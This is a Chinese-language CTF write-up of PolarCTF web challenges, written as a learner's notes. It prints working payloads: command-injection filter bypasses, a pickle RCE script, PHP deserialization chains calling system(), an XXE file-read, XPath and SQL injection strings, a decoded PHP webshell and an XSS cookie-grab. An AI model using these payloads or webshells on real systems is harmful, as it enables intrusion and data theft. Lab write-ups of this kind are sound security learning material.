PolarCTF web wp-除Java题
PolarCTF web刷题笔记
如果你遇到题目这里没有,那可能是归档在我的比赛 wp 里了:
PolarCTF 网络安全 2025 春季个人挑战赛 WRITE UP
PolarCTF夏季个人挑战赛2025 wp
WEB
简单
简单题很多考点感觉不需要记下来,后续就没写了,遇到有意思的再写吧
swp-正则匹配回溯
扫描目录发现.index.php.swp
function jiuzhe($xdmtql){
return preg_match('/sys.*nb/is',$xdmtql);
}
$xdmtql=@$_POST['xdmtql'];
if(!is_array($xdmtql)){
if(!jiuzhe($xdmtql)){
if(strpos($xdmtql,'sys nb')!==false){
echo 'flag{*******}';
}else{
echo 'true .swp file?';
}
}else{
echo 'nijilenijile';
}
}
尝试用换行符绕过没有成功
这里利用了正则匹配的回溯机制
上传一个足够长的字符串包含 sys nb 即可
简单 rce-rce 空格绕过
<?php
/*
PolarD&N CTF
*/
highlight_file(__FILE__);
function no($txt){
if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){
return $txt;}
else{
die("what's up");}}
$yyds=($_POST['yyds']);
if(isset($_GET['sys'])&&$yyds=='666'){
eval(no($_GET['sys']));
}
else
{echo "nonono";
}
?>
?sys=echo(`c\at%09/flag`);
POST: yyds=666
蜜雪冰城吉警店-js 前端
昨晚睡了三个小时困死了,做点简单题吧
源码被混淆,尝试抓包发现判断都在前端
前端修改 id=9 即可

召唤神龙-js 前端
没法 f12,可以先禁用 js 再 f12,再恢复 js 在网络处发现 main.js 含有 jsfuck
(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[+[]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[+[]]]+(![]+[])[+[]]+([][[]]+[])[!+[]+!+[]]+(![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(![]+[])[+[]]+([][[]]+[])[!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[])[+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]]((+((+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+[+[]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]])+[])[!+[]+!+[]]+[+!+[]])
随波逐流直接梭
seek flag-信息收集
源码提示爬虫
查看 robots.txt 发现 flag3 c0ad71dadd11}
扫一下目录,啥都没爬到,qswl
抓包在响应头发现 flag2 3ca8737a70f029d
cookie 中有 id 字段,将 id 改为 1 发包得到 flag1 flag1:flag{7ac5b
flag{7ac5b3ca8737a70f029dc0ad71dadd11}
login-信息收集
源码提示了账号密码,经测试账号递增也能登陆成功,并返回 flag 的一个字符
放进 bp 的 intruder 爆破一下即可
flag{dlcg}
jwt-jwt 伪造
尝试注册 admin 没成功,说明存在 admin 账户
注册一个 user 登录试试
抓包发现有 jwt,尝试解密看看
使用 jwtcracker 爆出密钥

在线工具编码后重新发包
这里的 username 提示藏在响应头
Hint: Flag-is-admins-password

访问 panel 页面即可看到 flag
中等
到底给不给 flag 呢-变量覆盖
<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />
<?php
highlight_file('1.txt');
echo "<br><br>";
$flag = 'flag{f73da0c8e7c774d488a6df0fec2890d9}';
$qwq= '我想要flag';
$QAQ = '我又不想要flag了,滚吧';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($qwq);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($QAQ);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo $flag;
一开始的思路是先 post a=flag
变成 $a=flag
然后再 get flag=a
变成$flag=$a
好像不对,这样的话 $flag 就变成 flag 了
555 想不出来怎么覆盖
看了之前做的变量覆盖,意识到可以只传 get
?a=flag&flag=a
结果还是没出,所以去翻 wp 了
然后发现就是这样做的???
可能是我之前测试的时候把 flag 给覆盖掉了
再开了一次靶场,原来弹都是假象就是带出回显了

服了,,,
注入-xpath 注入
一开始认为是 sql 注入,测试了一下发现不是
去翻了 wp,发现是 XPath 注入
1、注入点:URL、表单或其它信息上附带恶意的 XPath 查询代码
2、注入漏洞验证:输入 id=1'、id=-1 看页面是否返回报错信息
3、注入万能公式:id=1' or 1=1 or ''='
4、万能访问 xml 文档所有节点的 payload:']|//|//['
直接打万能 payload
这个 payload 的关键在于前后闭合,根据不同题可能有不同修改
某函数的复仇-create_function
<?php
highlight_file(__FILE__);
//flag:/flag
if(isset($_POST['shaw'])){
$shaw = $_POST['shaw'];
$root = $_GET['root'];
if(preg_match('/^[a-z_]*$/isD',$shaw)){
if(!preg_match('/rm|ch|nc|net|ex|\-|de|cat|tac|strings|h|wget|\?|cp|mv|\||so|\$/i',$root)){
$shaw('',$root);
}else{
echo "Almost there^^";
}
}
}
?>
一开始没看清楚以为是无字母 rce,做不出来,后面看了 wp 不对
这里要求函数名含有下划线,且第二个参数可控,是考察 create_function 函数
https://www.php.net/manual/zh/function.create-function.php
这篇文章讲了注入原理
https://www.cnblogs.com/zzjdbk/p/12980483.html
因此用 create_function 是与下面这段代码等价的
<?php
function lambda_1($a,$b){
return $root;
}
?>
因此这里 root 要闭合需要;},然后再注释后面的语句
?root=;}system("whoami");
代码审计 1-原生类
<?php
highlight_file(__FILE__);
include('flag.php');
$sys = $_GET['sys'];
if (preg_match("|flag|", $xsx)) {
die("flag is no here!");
} else {
$xsx = $_GET['xsx'];
echo new $sys($xsx);
}
这是什么动态调用方法?
动态构建类?
应该可以利用原生类
?sys=SplFileObject&xsx=flag.php
试了一下原生类是可行的,但是只能读一行
可以用伪协议
?sys=SplFileObject&xsx=php://filter/convert.base64-encode/resource=flag.php
xxe-xxe
xxe 注入应该是,接触的不多,没研究明白注入点在哪
看 wp 参考了这个
https://github.com/vulhub/vulhub/blob/master/php/php_xxe/README.md
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<n>&xxe;</n>
</root>
扫目录可以扫到 dom.php,然后打 payload 即可
这里用 hackbar 和 yakit 都发不上(可能是我不会)

SSTI-SSTI
用这题来记录一下 fenjing 库的使用
python -m fenjing webui

unpickle-pickle 反序列化
import pickle
import base64
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user)
return user
except:
username = "Guest"
return "Hello %s" % username
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080)
pickle 反序列化
import base64
import pickle
import requests
import os
url = "http://9d4fbfdc-a8f3-4e57-af07-b79fd939c510.www.polarctf.com:8090/"
class claExp(object):
def __reduce__(self):
s = "ls /"
return os.system, (s,)
e = claExp()
encoded = base64.b64encode(pickle.dumps(e))
print(encoded)
response = requests.get(url, cookies={"user":encoded.decode()})
print(response.text)
一直连接超时,手动打也没有回显
import base64
import pickle
import requests
url = "http://9d4fbfdc-a8f3-4e57-af07-b79fd939c510.www.polarctf.com:8090/"
class claExp(object):
def __reduce__(self):
s = "__import__('os').popen('cat /flag').read()"
return eval, (s,)
e = claExp()
encoded = base64.b64encode(pickle.dumps(e))
print(encoded)
response = requests.get(url, cookies={"user":encoded.decode()})
print(response.content)
换成这样打出来了
BlackMagic-php 弱比较
<!--
extract($_REQUEST);
$strCharList = "\r\n\0\x0B ";
$strFlag = "\r xxxxx...xxxxx \n";
if(isset($strTmp))
{
$strContent = trim($strFlag, $strCharList);
if($strTmp == $strContent)
{
echo "flag{xxx...xxx}";
}
else
{
echo "You're awesome, but not enough.";
}
}
else
{
echo "I will never tell you the flag is inside!";
}
-->
是一个弱比较,一开始以为直接传 xxxxx...xxxxx 就行,但是这里没成,为什么呢?
上面那个代码粘贴之后 strFlag 的不可见字符被改了,重新粘一个做本地测试
<?php
$strCharList = "\r\n\0\x0B ";
$strFlag = "\r xxxxx...xxxxx \n";
$strTmp = 0;
if(isset($strTmp))
{
$strContent = trim($strFlag, $strCharList);
echo urlencode($strContent)."<br>";
echo $strTmp;
if($strTmp == $strContent)
{
echo "flag{xxx...xxx}";
}
else
{
echo "You're awesome, but not enough.";
}
}
else
{
echo "I will never tell you the flag is inside!";
}

看来是有个 tab 没被删掉
?strTmp=%09xxxxx...xxxxx%09
反序列化-php 反序列化
<?php
/*
PolarD&N CTF
*/
highlight_file(__FILE__);
class example
{
public $handle;
function __destruct(){
$this->funnnn();
}
function funnnn(){
$this->handle->close();
}
}
class process{
public $pid;
function close(){
eval($this->pid);
}
}
if(isset($_GET['data'])){
$user_data=unserialize($_GET['data']);
}
?>
easy serialize
<?php
class example
{
public $handle;
function __destruct(){
$this->funnnn();
}
function funnnn(){
$this->handle->close();
}
}
class process{
public $pid="system('cat /var/www/html/flag.php');";
function close(){
eval($this->pid);
}
}
$pro = new process();
$ex = new example();
$ex->handle = $pro;
echo urlencode(serialize($ex));
找找 shell
<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iYk5qRmdRQlpJRXpzbWhHTUNvQUpwV3lSY2xZWHhUZGt1cVNQdmV0S25MSGZyVXdpRE9hVmpnYk9wclpzUVh0ZVRxV0hmbndTb1l1eHlQRWFLTkRrZEFoTWxHaXp2QlJMVmNGSUNVbUpNQzlGbVJ3cHJXSjJFWUZuU085ck4xZ2NZdUQxeTJPaVMxMG9VdXcvTXA9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));
?>
本地测试如下
<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O=$O00OO0[3].$O00OO0[6].$O00OO0[33].$O00OO0[30];
$O0OO00=$O00OO0[33].$O00OO0[10].$O00OO0[24].$O00OO0[10].$O00OO0[24];
$OO0O00=$O0OO00[0].$O00OO0[18].$O00OO0[3].$O0OO00[0].$O0OO00[1].$O00OO0[24];
$OO0000=$O00OO0[7].$O00OO0[13];
$O00O0O.=$O00OO0[22].$O00OO0[36].$O00OO0[29].$O00OO0[26].$O00OO0[30].$O00OO0[32].$O00OO0[35].$O00OO0[26].$O00OO0[30];
eval($O00O0O("JE8wTzAwMD0iYk5qRmdRQlpJRXpzbWhHTUNvQUpwV3lSY2xZWHhUZGt1cVNQdmV0S25MSGZyVXdpRE9hVmpnYk9wclpzUVh0ZVRxV0hmbndTb1l1eHlQRWFLTkRrZEFoTWxHaXp2QlJMVmNGSUNVbUpNQzlGbVJ3cHJXSjJFWUZuU085ck4xZ2NZdUQxeTJPaVMxMG9VdXcvTXA9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));
$O0O000="bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==";
/*eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));
*/
echo $O00O0O."\n";
echo $O0OO00."\n";
echo $OO0O00."\n";
echo $O0O000."\n";
echo $OO0000."\n";
echo base64_decode(strtr(substr($O0O000,52*2),substr($O0O000,52,52),substr($O0O000,0,52)));
/*eval('?>'.base64_decode(strtr(substr($O0O000,52*2),substr($O0O000,52,52),substr($O0O000,0,52))));*/
?>
结果
base64_decode
strtr
substr
bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==
52
<?php @eval($_POST['usam']); ?>
POST: usam=system("cat zheshiflag.php");
再来 ping 一波啊-rce
?ip=;cd$IFS$1..;cd$IFS$1..;l\s
这样可以执行命令,env 有 flag 交了不对
看一下源码
?ip=;base64$IFS$1in\dex.php
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>PolarD&N CTF</title>
<center>
<h2 style="margin-top: 300">来做个复习<br></h2>
<form action="" method="get" >
<input type="text" name="ip" placeholder="Why not try bjut.edu.cn" required>
<button style="margin-left:20;" type="submit">确定</button>
</form>
<?php
$flag = 'flag{ae5eb824ef87499f644c3f11a7176157}';
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|\>|`|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
print_r($match);
print($ip);
echo "<pre>";
echo preg_match("/\&|\/|\?|\*|\<|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
}
else if(preg_match("/ /", $ip)){
die("空格我可没加难度这可真是复习,/斜眼笑");
}
else if(preg_match("/bash/", $ip)){
die("Bash is not allowed");
}
else if(preg_match("/ls/", $ip)){
die("我很抱歉,其实你得再研究研究");
}
else if(preg_match("/cat|tac|sort|head|tail|more|less/", $ip)){
die("常用的读取命令肯定不行,你要是想出绕过的也算你厉害。但过滤机制是改了的-。-,你再研究研究?");
}
else if(preg_match("/rm/", $ip)){
die("你要搞我???");
}
else if(preg_match("/index/",$ip)){
die("那能让你直接读?");
}
$a = system("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
<!--其实就是出题人太懒了-->
</center>
这里明明是过滤了\的,为什么我还能用?
wu-无字母数字 rce
无字母数字 rce
?a=%24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B&_=system&__=cat+zheshiflag.php
你的马呢?-文件上传 文件包含
url 处存在文件读取
<?php
if(isset($_FILES['upfile'])){
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['upfile']['name']);
$ext = pathinfo($_FILES['upfile']['name'],PATHINFO_EXTENSION);
//检查文件内容
$text = file_get_contents($_FILES['upfile']['tmp_name']);
echo $ext;
//检查文件后缀
if (!preg_match("/ph.|htaccess/i", $ext)){
if(preg_match("/<\?php/i", $text)){
echo "嘿嘿嘿,想传马?不可能!<br>";
}
else{
move_uploaded_file($_FILES['upfile']['tmp_name'],$uploadfile);
echo "恭喜你,上传路径<br>路径为:" . $uploadfile . "<br>";
}
}
else {
echo "恶意后缀,试试.jsp呢?<br>";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>上传文件</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
千万别上传php脚本!!!!
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="file" name="upfile" value="" />
<input type="submit" name="submit" value="提交" />
</form>
</body>
</html>
提示传 jsp 马,但是我传了之后发现是不解析的
难道是要用 jsp 产生和 htaccess 相同的作用?
差点忘了可以文件包含,包含一下就可以连上了,jsp 马确实是解析不了的
可以传个其它后缀的 php 马,包含一下是可以解析的
ezphp-文件上传 文件包含
访问 robots.txt
User-agent: *
Disallow: /file
Disallow: /uploads
Disallow: /uploads/images
file 文件夹有 file.php
<?php
/*
PolarD&N CTF
*/
highlight_file('file.php');
$filename = $_GET['filename'];
@include $filename;
?>
任意文件包含
uploads 文件夹有 upload.php,可以上传文件
直接读 upload.php
?filename=php://filter/convert.base64-encode/resource=../uploads/upload.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Upload</title>
</head>
<body>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// 检查文件是否上传成功
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
// 定义允许上传的文件类型
$allowed_extensions = array("jpg", "jpeg", "png", "gif");
// 获取上传文件的文件名和扩展名
$filename = $_FILES['file']['name'];
$file_extension = pathinfo($filename, PATHINFO_EXTENSION);
// 检查文件扩展名是否在允许的列表中
if (in_array(strtolower($file_extension), $allowed_extensions)) {
// 确定存储上传文件的目录
$upload_directory = './images/';
// 确保目录存在,如果不存在则创建
if (!is_dir($upload_directory)) {
mkdir($upload_directory, 0777, true);
}
// 构造上传文件的完整路径
$upload_path = $upload_directory . $filename;
// 移动文件到指定目录
if (move_uploaded_file($_FILES['file']['tmp_name'], $upload_path)) {
echo '<p>文件上传成功!</p>';
} else {
echo '<p>文件上传失败。</p>';
}
} else {
echo '<p>不允许上传该类型的文件。</p>';
}
} else {
echo '<p>文件上传失败。</p>';
}
}
?>
<form action="" method="post" enctype="multipart/form-data">
<label for="file">选择文件:</label>
<input type="file" name="file" id="file" accept=".jpg, .jpeg, .png, .gif" required>
<br>
<input type="submit" value="上传文件">
</form>
</body>
</html>
只有一个后缀名检测,绕过文件上传传马包含即可
这里不想传文件,试一下 filter 链 rce
https://probiusofficial.github.io/2023/02/07/Filter/
这里试着打了一下发现打不通,本地测试了 filter 链需要开启对应服务
同时 php 版本可能导致兼容性问题,还可能会因为 filter 过长的原因在 5.2/7.4/8.0/8.1 报错
有时间找一道对应的题目来做做看吧
预期解这里就不做了
随机值-php 数字强比较特性
<?php
include "flag.php";
class Index{
private $Polar1;
private $Polar2;
protected $Night;
protected $Light;
function getflag($flag){
$Polar2 = rand(0,100);
if($this->Polar1 === $this->Polar2){
$Light = rand(0,100);
if($this->Night === $this->Light){
echo $flag;
}
}
else{
echo "Your wrong!!!";
}
}
}
if(isset($_GET['sys'])){
$a = unserialize($_GET['sys']);
$a->getflag($flag);
}
else{
highlight_file("index.php");
}
?>
1===true,将 polar1 和 night 置 true 即可
<?php
include "flag.php";
class Index{
private $Polar1;
private $Polar2;
protected $Night;
protected $Light;
function __construct(){
$Polar1 = true;
$Night = true;
}
function getflag($flag){
$Polar2 = rand(0,100);
if($this->Polar1 === $this->Polar2){
$Light = rand(0,100);
if($this->Night === $this->Light){
echo $flag;
}
}
else{
echo "Your wrong!!!";
}
}
}
$index = new Index();
$payload = serialize($index);
echo urlencode($payload)."<br>";
$a = unserialize($payload);
$a->getflag("getFlag");
//?sys=O%3A5%3A%22Index%22%3A4%3A%7Bs%3A13%3A%22%00Index%00Polar1%22%3BN%3Bs%3A13%3A%22%00Index%00Polar2%22%3BN%3Bs%3A8%3A%22%00%2A%00Night%22%3BN%3Bs%3A8%3A%22%00%2A%00Light%22%3BN%3B%7D
phpurl
base64 解密是 index.phps
<?php
if("xxs"===$_GET[sys]) {
echo("<p>Not a good idea!</p>");
exit();
}
$_GET[sys] = urldecode($_GET[sys]);
if($_GET[sys] == "xxs")
{
echo "<p>Welcome to polar LABS!</p>";
echo "<p>Flag: XXXXXXX </p>";
}
?>
这里传参没反应?要去 index.php 传参
url 二次编码绕过
%2578%2578%2573
search-extractvalue 报错注入
sql 注入
有 waf 过滤了" 空格 union updatexml
应该要盲注,也没有替换什么的,试试用 sqlmap 打

可以报错注入,利用的是 extractvalue()
https://www.cnblogs.com/c1047509362/p/12806297.html
直接拿 sqlmap 打即可
sqlmap -u url --data "query=1" --batch --tamper=space2comment -D "CTF" -T "Flag" --dump

file-文件上传 信息收集
按提示先 dirsearch 一下
与此同时看一下页面,按钮是 disabled 的,前端改一下就能点,进入一个上传页面
同时有个最大文件大小参数,不知道有没有用但是先改大点看看
上传之后没有回显?控制台会闪一下报错
暂时不能往下走,看看 dirsearch 结果

有上传目录,可以看见传上去的图片
文件上传抓包改一下 Content-Type 就能绕

PlayGame-php 反序列化
<?php
/*
PolarD&N CTF
*/
class User{
public $name;
public $age;
public $sex;
public function __toString()
{
return "name:".$this->name."age:".$this->age."sex:".$this->sex;
}
public function setName($name){
$this->name=$name;
}
public function setAge($age){
$this->$age=$age;
}
public function setSex($sex){
$this->$sex=$sex;
}
}
class PlayGame{
public $user;
public $gameFile="./game";
public function openGame(){
return file_get_contents($this->gameFile);
}
public function __destruct()
{
echo $this->user->name."GameOver!";
}
public function __toString(){
return $this->user->name."PlayGame ". $this->user->age . $this->openGame();
}
}
if(isset($_GET['polar_flag.flag'])){
unserialize($_GET['polar_flag.flag']);
}else{
highlight_file(__FILE__);
}
反序列化
不知道 flag 在哪 /flag
<?php
class User{
public $name;
}
class PlayGame{
public $user;
public $gameFile="./game";
}
$game = new PlayGame();
$game->gameFile = "php://filter/convert.base64-encode/resource=/flag";
$user = new User();
$user->name = $game;
$game2 = new PlayGame();
$game2->user = $user;
$payload = serialize($game2);
echo urlencode($payload);
serialize($game2);
?polar[flag.flag=O%3A8%3A%22PlayGame%22%3A2%3A%7Bs%3A4%3A%22user%22%3BO%3A4%3A%22User%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A8%3A%22PlayGame%22%3A2%3A%7Bs%3A4%3A%22user%22%3BN%3Bs%3A8%3A%22gameFile%22%3Bs%3A49%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fflag%22%3B%7D%7Ds%3A8%3A%22gameFile%22%3Bs%3A6%3A%22.%2Fgame%22%3B%7D
csdn-file 伪协议
url 处有参数,应该是 ssrf
访问不到?可能在根目录下 目录穿越也行不通
访问 localhost 是 404,访问其它都是空的
看了 wp,用的是 file 伪协议,但是用不了 php 协议 为什么???
flag.txt 就在根目录,不在 flag 文件夹里。。
Dragon-xss
xss,用不了 script,可以用 img
POST:
name=<img src=1 onerror=alert(document.cookie)>
没有后端 bot,直接看 cookie 也行好像
tnl-php 伪协议
sql 注入?但是完全没有回显,报错倒是有
试了一下打报错注入的一些 payload 也不行
去看 wp 莫名其妙就去试 php 伪协议了,应该没什么逻辑就是试出来,sql 是个迷惑项
而且还自带 php 后缀。。
POST: twothree=php://filter/convert.base64-encode/resource=index
<?php
error_reporting(0);
@$file = $_POST['twothree'];
if(isset($file))
{
if( strpos( $file, "1" ) !== false || strpos( $file, "2" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'twothree'' at line 1";
}
}
?>
twothree=php://filter/convert.base64-encode/1/resource=flag
粪题不用管
你知道 sys 还能这样玩吗-命令执行绕过
进去就是 403,直接 dirsearch
dirsearch 扫不到?不知道是不是我的坏了
用别的扫描工具可以扫除 sys.php (我这里用的是 yakit)
<?php
show_source(__FILE__);
if(isset($_POST['cmd'])){
echo "<pre>";
$cmd = $_POST['cmd'];
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget/i', $cmd)) {
$output = system($cmd);
echo $output;
}
echo "</pre>";
}
?>
一个命令执行的简单绕过
cmd=l"s" /
这里比较特别的是过滤了.和*,要考虑怎么访问 flag.txt
16进制编码
cmd=ca\t /fl\ag$'\x2e'txt
这里也可以 base64 绕
ExX?-php7.0.30 xxe
难绷 一进去就是 inflagggg.php 循环
有 phpinfo,点了之后 url 处会有疑似文件包含
传参没效果
翻了一下 phpinfo 直接就有 flag 提交了一下居然是错的
考虑是函数调用,那这里只有函数名进行调用,比较难利用
看版本是 7.0.30,有 xxe 漏洞,题目应该也是这个意思
https://blog.csdn.net/weixin_43886198/article/details/111475187
有 dom.php
在 flagggg.php,靠,我以为在 inflagggg.php 一直读不出来

EZ_Host-命令执行
有 ssrf,扫一下目录看一下怎么利用
有/flag,应该要 ssrf 访问,直接访问是个假 flag
Dockerfile 也有泄露,可以看到端口是 80
?host=``http://127.0.0.1:80/flag 。。?访问不到
靠,是命令执行
?host=127.0.0.1 发现是 ping 的回显
?host=127.0.0.1;cat index.php
"; } else { echo "Welcome to the CTF challenge! Use /?host=YOUR_HOST to play."; } if (isset($_GET['debug'])) { highlight_file(FILE); } ?>
带个 debug 参就可以看到源码
if (isset($_GET['host'])) {
$host = $_GET['host'];
// 存在命令注入漏洞的代码
$command = "ping -c 1 " . $host;
$output = shell_exec($command);
echo "<pre>$output</pre>";
} else {
echo "Welcome to the CTF challenge! Use /?host=YOUR_HOST to play.";
}
if (isset($_GET['debug'])) {
highlight_file(__FILE__);
}
?>
靠,那个是真 flag,非预期了
传马-文件上传
没啥过滤,传马改后缀就行
笑傲上传-文件上传
文件上传部分跟上面一样,传完之后 f12 看路径,然后 include.php 包含一下即可
序列一下-简单反序列化
<?php
